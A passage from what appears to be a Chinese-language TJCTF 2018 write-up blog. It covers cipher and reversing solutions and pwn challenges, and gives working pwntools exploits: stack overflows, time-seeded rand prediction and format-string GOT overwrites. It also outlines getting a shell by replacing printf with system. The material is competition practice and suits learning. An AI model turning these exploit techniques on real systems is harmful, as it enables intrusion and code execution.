eval(&apos;0b&apos;+s)</span><br><span class="line">        if (v^lmao[num])%other[num] != 0:</span><br><span class="line">            output1.append( eval(&apos;0b&apos;+s+j) )</span><br><span class="line">            s = &apos;&apos;</span><br><span class="line">            </span><br><span class="line">        else:</span><br><span class="line">            output1.append( v )</span><br><span class="line">            sum += 1</span><br><span class="line">            s = j</span><br><span class="line">        num += 1</span><br><span class="line">        flag = 0</span><br><span class="line">        </span><br><span class="line">    else:</span><br><span class="line">        s+= j</span><br><span class="line">        sum += 1</span><br><span class="line">        flag = 1</span><br><span class="line"></span><br><span class="line">#print output1</span><br><span class="line"></span><br><span class="line">print &quot;[+]lmao: &#123;&#125;&quot;.format(lmao)</span><br><span class="line">#context.log_level = &apos;debug&apos;</span><br><span class="line"></span><br><span class="line">mod = [(lmao[i]^output1[i])%other[i] for i in range(len(output1))]</span><br><span class="line">print &quot;[+]mod==0? &#123;&#125;&quot;.format(mod)</span><br><span class="line">output2 = [ chr((lmao[i]^output1[i])/other[i]) for i in range(len(output1)) ]</span><br><span class="line"> </span><br><span class="line">print &quot;[+]flag: &#123;&#125;&quot;.format(&apos;&apos;.join(output2))</span><br><span class="line">#output3 = [ ofor i in range(25) ]</span><br></pre></td></tr></table></figure><h3 id="Bad-Cipher-points-50"><a href="#Bad-Cipher-points-50" class="headerlink" title="Bad-Cipher(points: 50)"></a>Bad-Cipher(points: 50)</h3><p>源码如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">message = &quot;[REDACTED]&quot;</span><br><span class="line">key = &quot;&quot;</span><br><span class="line"></span><br><span class="line">r,o,u,x,h=range,ord,chr,&quot;&quot;.join,hex</span><br><span class="line">def e(m,k):</span><br><span class="line"> l=len(k);s=[m[i::l]for i in r(l)]</span><br><span class="line"> for i in r(l):</span><br><span class="line">  a,e=0,&quot;&quot;</span><br><span class="line">  for c in s[i]:</span><br><span class="line">   a=o(c)^o(k[i])^(a&gt;&gt;2)</span><br><span class="line">   e+=u(a)</span><br><span class="line">  s[i]=e</span><br><span class="line"> return x(h((1&lt;&lt;8)+o(f))[3:]for f in x(x(y)for y in zip(*s)))</span><br><span class="line"></span><br><span class="line">print(e(message,key))</span><br></pre></td></tr></table></figure><p>这道题其实就是个分组加密，下面通过一个例子解释一下</p><blockquote><p>message = ‘123456789’</p><p>key = ‘abc’</p><p>s = [ ‘147’,’258’,’369’ ]</p><p>对于s[0]的第一个字符‘1’，a = o(‘1’)^o(‘a’)^(a&gt;&gt;2)，此时a的初始值为0，相当于s[0]的第一个加密结果== o(‘1’)^o(‘a’)，这很重要</p><p>之后进行相同操作</p><p>s_encode = [‘PAF’, ‘PCJ’, ‘PAJ’]</p><p>注意：返回的结果相当于’PPPACAFJJ’.encode(‘hex’)</p></blockquote><h4 id="Step1-爆破key的长度"><a href="#Step1-爆破key的长度" class="headerlink" title="Step1: 爆破key的长度"></a>Step1: 爆破key的长度</h4><p>首先我们确定len(message)应该要整除len(key)，那么key可能是<code>2 4 7 8 14 28</code></p><p>解题的关键在于flag格式为<code>tjctf{}</code>，相当于我们知道message的前6个字符，而分组加密中每组的第一个字符就是message的前几位，如果分组的长度正确，那么message[i]^cipher[i]的结果，即key，应该是可见字符，以此为标准爆破。</p><h4 id="Step2-爆破key的后两位"><a href="#Step2-爆破key的后两位" class="headerlink" title="Step2: 爆破key的后两位"></a>Step2: 爆破key的后两位</h4><p>这里假设已经知道了key的长度为8，而我们可以通过message的固定格式知道key的前6位，那么最后两位直接爆破即可。</p><h4 id="Exp如下"><a href="#Exp如下" class="headerlink" title="Exp如下"></a>Exp如下</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">__Auther__ = &apos;L1B0&apos;</span><br><span class="line"></span><br><span class="line">message = &quot;[REDACTED]&quot;</span><br><span class="line">key = &quot;123456&quot;</span><br><span class="line">c = &apos;473c23192d4737025b3b2d34175f66421631250711461a7905342a3e365d08190215152f1f1e3d5c550c12521f55217e500a3714787b6554&apos;.decode(&apos;hex&apos;)</span><br><span class="line"></span><br><span class="line">key_len = [2,4,7,8]#14,28</span><br><span class="line"></span><br><span class="line">r,o,u,x,h=range,ord,chr,&quot;&quot;.join,hex</span><br><span class="line"></span><br><span class="line">def e(m,k):</span><br><span class="line"> l=len(k);s=[m[i::l]for i in r(l)]</span><br><span class="line">#print s</span><br><span class="line"> for i in r(l):</span><br><span class="line">  a,e=0,&quot;&quot;</span><br><span class="line">  for c in s[i]:</span><br><span class="line">   a=o(c)^o(k[i])^(a&gt;&gt;2)</span><br><span class="line">   e+=u(a)</span><br><span class="line">  s[i]=e</span><br><span class="line">#print s</span><br><span class="line"> return x(h((1&lt;&lt;8)+o(f))[3:]for f in x(x(y)for y in zip(*s)))</span><br><span class="line"></span><br><span class="line">def d(c,key1,offset):</span><br><span class="line"></span><br><span class="line">    flag = &apos;&apos;</span><br><span class="line">                </span><br><span class="line">    a = [ 0 for l in range(len(key1)) ]</span><br><span class="line">    lenk = len(key1)</span><br><span class="line">                    </span><br><span class="line">    for k in range(len(c)):</span><br><span class="line">                        </span><br><span class="line">        if k%offset &lt; lenk:</span><br><span class="line">            flag += chr( key1[k%offset]^ord(c[k])^(a[k%offset]&gt;&gt;2) )</span><br><span class="line">            a[k%offset] = ord(flag[k])^key1[k%offset]^(a[k%offset]&gt;&gt;2)</span><br><span class="line">        else:</span><br><span class="line">            flag += &apos; &apos;</span><br><span class="line">    #burp_len</span><br><span class="line">    if len(key1) == 1 and flag.replace(&apos; &apos;,&apos;&apos;).isalnum():</span><br><span class="line">        print &quot;[*]You got the length. FLAG: &#123;&#125;&quot;.format(flag.replace(&apos; &apos;,&apos;&apos;))</span><br><span class="line">    #burp_flag</span><br><span class="line">    if flag.replace(&apos;_&apos;,&apos;&apos;).replace(&apos;&#123;&apos;,&apos;&apos;).replace(&apos;&#125;&apos;,&apos;&apos;).isalnum():</span><br><span class="line">        print &quot;key1 = &#123;&#125; key2 = &#123;&#125; flag = &#123;&#125;&quot;.format(key1[6],key1[7],flag)</span><br><span class="line">def burp_len():</span><br><span class="line">    </span><br><span class="line">    for i in [2,4,7,8,14,28]:</span><br><span class="line">        </span><br><span class="line">        #key[0] == ord(&apos;t&apos;)^0x47</span><br><span class="line">        key = [ord(&apos;t&apos;)^0x47]</span><br><span class="line">        print &quot;[+]The key length is &#123;&#125; QAQ&quot;.format(i)</span><br><span class="line">        d(c,key,i)</span><br><span class="line"></span><br><span class="line">if __name__ == &apos;__main__&apos;:</span><br><span class="line"></span><br><span class="line">    burp_len()</span><br><span class="line">    key_len = 8</span><br><span class="line">    flag = &apos;tjctf&#123;&apos;</span><br><span class="line">    for i in range(32,127):</span><br><span class="line">        for j in range(32,127):</span><br><span class="line">            </span><br><span class="line">            key = [ ord(flag[k])^ord(c[k]) for k in r(len(flag)) ]</span><br><span class="line">            key.append(i)</span><br><span class="line">            key.append(j)</span><br><span class="line">#print key</span><br><span class="line">            assert len(key) == key_len</span><br><span class="line">            d( c, key, key_len )</span><br><span class="line">    </span><br><span class="line">    key = [ chr(ord(flag[k])^ord(c[k])) for k in r(len(flag)) ]</span><br><span class="line">    flag = &apos;tjctf&#123;m4ybe_Wr1t3ing_mY_3ncRypT10N_MY5elf_W4Snt_v_sm4R7&#125;&apos;</span><br><span class="line">    key.append(chr(90))</span><br><span class="line">    key.append(chr(54))</span><br><span class="line">    </span><br><span class="line">    if e(flag,x(key)) == c.encode(&apos;hex&apos;):</span><br><span class="line">        print &quot;Right!!!&quot;</span><br><span class="line"></span><br><span class="line">#print(e(message,key))</span><br></pre></td></tr></table></figure><h3 id="Bricked-Binary-points-80"><a href="#Bricked-Binary-points-80" class="headerlink" title="Bricked-Binary(points: 80)"></a>Bricked-Binary(points: 80)</h3><blockquote><p>这题算是经典的elf逆向，难度不大，直接放出脚本，idc脚本也在里面</p></blockquote><h4 id="Exp如下-1"><a href="#Exp如下-1" class="headerlink" title="Exp如下"></a>Exp如下</h4><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">__Auther__ = &apos;L1B0&apos;</span><br><span class="line"></span><br><span class="line">u = [4,7,5,8,12,10,6,2,13,1,0,14,9,11,3,15]</span><br><span class="line"></span><br><span class="line">v = [129,205,10,115,179,59,50,182,110,124,49,87,209,197,21,58,146,180,226,81,174,66,85,65,225,112,48,26,2,132,162,231,185,77,60,163,11,178,43,171,70,126,36,156,133,111,228,196,95,206,79,1,130,253,108,172,223,100,12,161,227,158,93,187,254,211,41,150,199,243,252,101,170,138,90,245,183,56,165,141,216,142,57,7,222,213,17,128,229,137,53,255,221,166,31,35,13,192,147,200,103,23,104,24,139,98,204,157,218,86,102,198,127,230,134,224,34,194,15,27,246,45,99,51,145,113,89,235,169,210,131,191,61,106,8,249,167,64,0,232,82,190,250,78,38,118,207,84,125,25,6,248,208,116,40,5,63,160,30,193,69,73,212,175,3,155,47,238,39,154,164,151,72,74,217,55,71,173,68,202,239,215,184,219,240,159,88,83,234,42,122,54,135,140,181,114,136,177,9,241,22,62,105,20,236,37,188,237,186,189,44,201,220,19,244,117,29,75,195,52,16,107,119,152,94,92,153,143,18,148,203,46,76,233,32,247,67,96,251,109,28,120,14,176,214,80,121,123,97,149,168,4,91,242,144,33]</span><br><span class="line">#print len(u),len(v)</span><br><span class="line">&apos;&apos;&apos;</span><br><span class="line">idc_export_v</span><br><span class="line">auto addr = 0x0804A040;</span><br><span class="line">auto addr1 = 0x0804A43C;</span><br><span class="line">auto i,x;</span><br><span class="line">Message(&quot;\n&quot;);</span><br><span class="line">for(i=0;addr&lt;=addr1;i++)</span><br><span class="line">&#123;</span><br><span class="line">    x = Byte(addr);</span><br><span class="line">    addr =addr + 4;</span><br><span class="line">    Message(&quot;%d,&quot;,x);</span><br><span class="line">&#125;</span><br><span class="line">&apos;&apos;&apos;</span><br><span class="line">output = &apos;22c15d5f23238a8fff8d299f8e5a1c62&apos;</span><br><span class="line">out_flag = map(ord,output.decode(&apos;hex&apos;))</span><br><span class="line">print out_flag</span><br><span class="line"></span><br><span class="line">flag = &apos;&apos;</span><br><span class="line">for i in range(len(out_flag)):</span><br><span class="line">    for j in range(256):</span><br><span class="line">        if v[j]^u[len(out_flag)-i-1] == out_flag[i]:</span><br><span class="line">            flag += chr(j)</span><br><span class="line">            break</span><br><span class="line">print flag,len(flag)</span><br></pre></td></tr></table></figure><h2 id="Pwn"><a href="#Pwn" class="headerlink" title="Pwn"></a>Pwn</h2><h3 id="Math-Whiz-points-20"><a href="#Math-Whiz-points-20" class="headerlink" title="Math-Whiz(points: 20)"></a>Math-Whiz(points: 20)</h3><p>先看看开了什么保护，发现只有栈溢出可以利用:-)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">▶ checksec register</span><br><span class="line">[*] &apos;/2018TJCTF/pwn-Math-Whiz20/register&apos;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br></pre></td></tr></table></figure><p>用ida看下伪代码，关键在于v43是否为0</p><p><img src="http://wx4.sinaimg.cn/mw690/0060lm7Tly1fu5qxtbuwdj30eo0373yo.jpg" alt="img"></p><p>那么通过栈溢出覆盖v43即可</p><p>最初脚本如下，暴力的一批</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">__Auther__ = &apos;L1B0&apos;</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line">io = remote(&apos;problem1.tjctf.org&apos;, 8001)</span><br><span class="line"></span><br><span class="line">for i in range(7):</span><br><span class="line">    io.sendlineafter(&apos;: &apos;,&apos;a&apos;*100)</span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><p>事实上看ida可以知道v43处于ebp-0xc的位置，只有在输入v30的时候允许最长长度为64的字符串，而v30处于ebp-0x44，v30和v43相距56，所以覆盖点在v30。</p><p>精致的输入如下</p><p><img src="http://wx3.sinaimg.cn/mw690/0060lm7Tly1fu5r6kglynj30so08ejtc.jpg" alt="img"></p><h3 id="Tilted-Troop-points-40"><a href="#Tilted-Troop-points-40" class="headerlink" title="Tilted-Troop(points: 40)"></a>Tilted-Troop(points: 40)</h3><p>首先看下开了什么保护，发现全开了:-(</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">▶ checksec strover </span><br><span class="line">[*] &apos;/2018TJCTF/pwn-Tilted-Troop40/strover&apos;</span><br><span class="line">    Arch:     amd64-64-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br></pre></td></tr></table></figure><p>给了源码，那就不费那劲看伪代码了，程序流程就是组个队打怪，如果最后队伍的队员力量值和等于400，拿到flag。</p><p>这里有个bug就是一个队伍里最大队员数只有8个，但是由于逻辑有bug导致我们能输入9个队员的信息。因为队员的名字和力量的地址是在内存中是连续的，如下图。所以第九个队员的name会把strength数组覆盖，那么我们就可以精确控制第九个队员的name覆盖strength数组使得队员的力量值和为400。</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">#define MAX_TEAM_SIZE 8</span><br><span class="line"></span><br><span class="line">const int goal = 400;</span><br><span class="line"></span><br><span class="line">struct team &#123;</span><br><span class="line">    char* names[MAX_TEAM_SIZE];</span><br><span class="line">    char* strength;</span><br><span class="line">    int teamSize;</span><br><span class="line">&#125; typedef team;</span><br></pre></td></tr></table></figure><p>exp如下</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">__Auther__ = &apos;L1B0&apos;</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line">from sys import *</span><br><span class="line">context.log_level = &apos;debug&apos;</span><br><span class="line">context.terminal = [&apos;deepin-terminal&apos;, &apos;-x&apos;, &apos;sh&apos;, &apos;-c&apos; ]</span><br><span class="line"></span><br><span class="line">if argv[1] == &apos;l&apos;:</span><br><span class="line">    io = process(&apos;./strover&apos;)</span><br><span class="line">else:</span><br><span class="line">    io = remote(&apos;problem1.tjctf.org&apos;, 8002)</span><br><span class="line"></span><br><span class="line">for i in range(8):</span><br><span class="line">    io.sendline(&quot;A &quot;+str(i)*4)</span><br><span class="line"></span><br><span class="line">io.sendline( &quot;A &quot; + chr(400/4)*4 )</span><br><span class="line">io.sendline(&quot;F&quot;)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h3 id="Future-Canary-Lab-points-80"><a href="#Future-Canary-Lab-points-80" class="headerlink" title="Future-Canary-Lab(points: 80)"></a>Future-Canary-Lab(points: 80)</h3><p>首先看下开了哪些保护，发现又是个栈溢出的题目</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">▶ checksec interview </span><br><span class="line">[*] &apos;/2018TJCTF/pwn-Future-Canary-Lab80/interview&apos;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Full RELRO</span><br><span class="line">    Stack:    No canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      PIE enabled</span><br></pre></td></tr></table></figure><p>首先main函数中<code>time(0)</code>获取当时系统时间，然后以此为随机数种子</p><p><img src="http://wx2.sinaimg.cn/mw690/0060lm7Tly1fu5rfpfhv0j30ge05g0sx.jpg" alt="img"></p><p>然后在interview函数中生成10个随机数，存在v1里，并copy一份给v3。</p><p><img src="http://wx4.sinaimg.cn/mw690/0060lm7Tly1fu5rrqferrj30g30ev75e.jpg" alt="img"></p><p>看下栈的情况会发现，v1处于ebp-0x10，s处于ebp-0x78，v3处于ebp-x038。</p><p>如果我们直接将s赋值一个很长的字符串+0xdeadbeef，那么原本和v1相等的v3则会被覆盖为我们的输入，造成check失败。所以我们应该构造一个包含这10个随机数的payload，再发过去就稳了。</p><blockquote><p>这里还有一个坑点是在<code>a1-i+j</code>这里，我们在输入s之后会把<code>i</code>和<code>j</code>的值也覆盖掉，由于之后<code>j</code>还会被赋值为10，所以<code>i</code>还是我们输入的值，那么<code>a1</code>我们就不能传<code>0xdeadbeef</code>。</p></blockquote><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">__Auther__ = &apos;L1B0&apos;</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line">import ctypes</span><br><span class="line">import sys</span><br><span class="line">context.log_level = &apos;debug&apos;</span><br><span class="line"></span><br><span class="line">if sys.argv[1] == &apos;l&apos;:</span><br><span class="line">    io = process(&apos;./test&apos;)</span><br><span class="line">else:</span><br><span class="line">    io = remote(&apos;problem1.tjctf.org&apos;, 8000)</span><br><span class="line"></span><br><span class="line">dll = ctypes.CDLL(&apos;/lib/x86_64-linux-gnu/libc.so.6&apos;) </span><br><span class="line"></span><br><span class="line">v4 = dll.time(0)</span><br><span class="line">#print v4</span><br><span class="line">dll.srand(v4)</span><br><span class="line">v3 = [ dll.rand()  for i in range(10) ]</span><br><span class="line">payload = &apos;\x11&apos;*(0x40)</span><br><span class="line">for i in v3:</span><br><span class="line">    payload += p32(i)</span><br><span class="line">payload += &apos;\x11&apos;*(0x18)</span><br><span class="line">payload += p32(0xdeadbeef+0x11111111-10)</span><br><span class="line">#info(payload)</span><br><span class="line"></span><br><span class="line">io.sendlineafter(&quot;?\n&quot;,payload)</span><br><span class="line"></span><br><span class="line">io.interactive()</span><br></pre></td></tr></table></figure><h3 id="Online-Banking-points-100"><a href="#Online-Banking-points-100" class="headerlink" title="Online-Banking(points: 100)"></a>Online-Banking(points: 100)</h3><h3 id="Secure-Secrets-points-110"><a href="#Secure-Secrets-points-110" class="headerlink" title="Secure-Secrets(points: 110)"></a>Secure-Secrets(points: 110)</h3><p>先看看开了哪些保护，发现除了地址随机化都有:-(</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">▶ checksec secure </span><br><span class="line">[*] &apos;/2018TJCTF/pwn-Secure-Secrets110/secure&apos;</span><br><span class="line">    Arch:     i386-32-little</span><br><span class="line">    RELRO:    Partial RELRO</span><br><span class="line">    Stack:    Canary found</span><br><span class="line">    NX:       NX enabled</span><br><span class="line">    PIE:      No PIE (0x8048000)</span><br></pre></td></tr></table></figure><p>用ida看伪代码会发现<code>get_message</code>函数存在明显的格式化字符串漏洞</p><p><img src="http://wx4.sinaimg.cn/mw690/0060lm7Tly1fu5s3ylrt9j30fm08p0tb.jpg" alt="img"></p><p>并且<code>get_secret</code>函数可以直接拿到flag</p><p><img src="http://wx2.sinaimg.cn/mw690/0060lm7Tly1fu5s4ijdwej309m08gq3c.jpg" alt="img"></p><p>那么目的就很明确了，通过fsb的任意地址写将<code>exit</code>函数覆盖为<code>get_secret</code>的地址即可拿到flag:-)</p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python</span><br><span class="line"># -*- coding: utf-8 -*-</span><br><span class="line">__Auther__ = &apos;L1B0&apos;</span><br><span class="line"></span><br><span class="line">from pwn import *</span><br><span class="line">from sys import *</span><br><span class="line">context.log_level = &apos;debug&apos;</span><br><span class="line"></span><br><span class="line">if argv[1] == &apos;l&apos;:</span><br><span class="line">    io = process(&apos;./secure&apos;)</span><br><span class="line">else:</span><br><span class="line">    io = remote(&apos;problem1.tjctf.org&apos;, 8008)</span><br><span class="line"></span><br><span class="line">elf = ELF(&apos;./secure&apos;)</span><br><span class="line"></span><br><span class="line">def send_message(payload):</span><br><span class="line">    </span><br><span class="line">    io.sendlineafter(&apos;&gt; &apos;,&apos;666&apos;)</span><br><span class="line">    </span><br><span class="line">    io.sendlineafter(&apos;&gt; &apos;,payload)</span><br><span class="line">    </span><br><span class="line">    io.sendlineafter(&apos;&gt; &apos;,&apos;666&apos;)</span><br><span class="line">    </span><br><span class="line"></span><br><span class="line">def loop_it():</span><br><span class="line">    </span><br><span class="line">    main_addr = elf.symbols[&apos;main&apos;]</span><br><span class="line">    exit_got = elf.got[&apos;exit&apos;]</span><br><span class="line">#print &quot;[+]exit_got = &#123;&#125;&quot;.format(hex(exit_got))</span><br><span class="line">    payload = p32(elf.got[&apos;printf&apos;]) + &apos;%&apos; + str((main_addr&amp;0xffff)-4) + &apos;c%35$hn&apos;</span><br><span class="line">    </span><br><span class="line">    info(payload)</span><br><span class="line">    send_message(payload)</span><br><span class="line"></span><br><span class="line">def get_flag():</span><br><span class="line"></span><br><span class="line">    flag_addr = elf.sym[&apos;get_secret&apos;]</span><br><span class="line">    </span><br><span class="line">    payload = p32(elf.got[&apos;exit&apos;]) + &apos;%&apos; + str((flag_addr&amp;0xffff)-4) + &apos;c%35$hn&apos;</span><br><span class="line">#payload = fmtstr_payload( 35, &#123;printf_got:flag_addr&#125; )</span><br><span class="line">    send_message(payload)</span><br><span class="line">    io.recv()</span><br><span class="line">    </span><br><span class="line">if __name__ == &apos;__main__&apos;:</span><br><span class="line"></span><br><span class="line">    #loop_it()</span><br><span class="line">    get_flag()</span><br><span class="line">    io.interactive()</span><br></pre></td></tr></table></figure><h3 id="Super-Secure-Secrets-points-140"><a href="#Super-Secure-Secrets-points-140" class="headerlink" title="Super-Secure-Secrets(points: 140)"></a>Super-Secure-Secrets(points: 140)</h3><p>64位格式化字符串的题目，第一次做64位的，给坑了很久。。</p><p>简单分析一下程序，<code>set_message</code>用来存payload</p><p><img src="http://wx3.sinaimg.cn/mw690/0060lm7Tly1fu84kl3dppj30h40bxdh0.jpg" alt="img"></p><p><code>get_message</code>中有fsb，可以用它来达到任意地址读和任意地址写，并且由于程序只能执行一次get_message操作，我们可以通过将<code>memset</code>的got表的真实地址覆盖成<code>_start</code>的地址达到循环的目的。</p><p><img src="http://wx3.sinaimg.cn/mw690/0060lm7Tly1fu84l4py20j30w10l977v.jpg" alt="img"></p><p>当我们能够无限次利用fsb的时候，常规操作一通上基本就稳了。</p><blockquote><p>常规操作：</p><ol><li>泄露两个函数的真实地址从而确定libc版本</li><li>通过libc得到system函数的真实地址</li><li>将printf的真实地址覆盖为system的真实地址</li><li>传””/bin/sh\0”从而getshell</li></ol></blockquote><p><strong>一些64位程序的坑</strong>：</p><ul><li>这里由于程序是64位，传参顺序为rdi, rsi, rdx, rcx, r8, r9，接下来才是栈，所以在计算偏移时应在栈的基础上加6。</li><li>由于64位程序的地址的高字节都是<code>\x00</code>，如果放在payload前面会把后面的截断，所以传地址时应放在payload的最后面。</li></ul><p><strong>一个关于优先级的坑(之前给坑过，写着这题又忘了…)</strong></p><figure class="highlight plain"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">&gt;&gt;&gt; a = 0x1234</span><br><span class="line">&gt;&gt;&gt; ((a&gt;&gt;8)&amp;0xff)-4 // 预期结果</span><br><span class="line">14</span><br><span class="line">&gt;&gt;&gt; (a&gt;&gt;8)&amp;(0xff-4) // 非预期结果</span><br><span class="line">18</span><br><span class="line">&gt;&gt;&gt; (a&gt;&gt;8)&amp;0xff-4 // 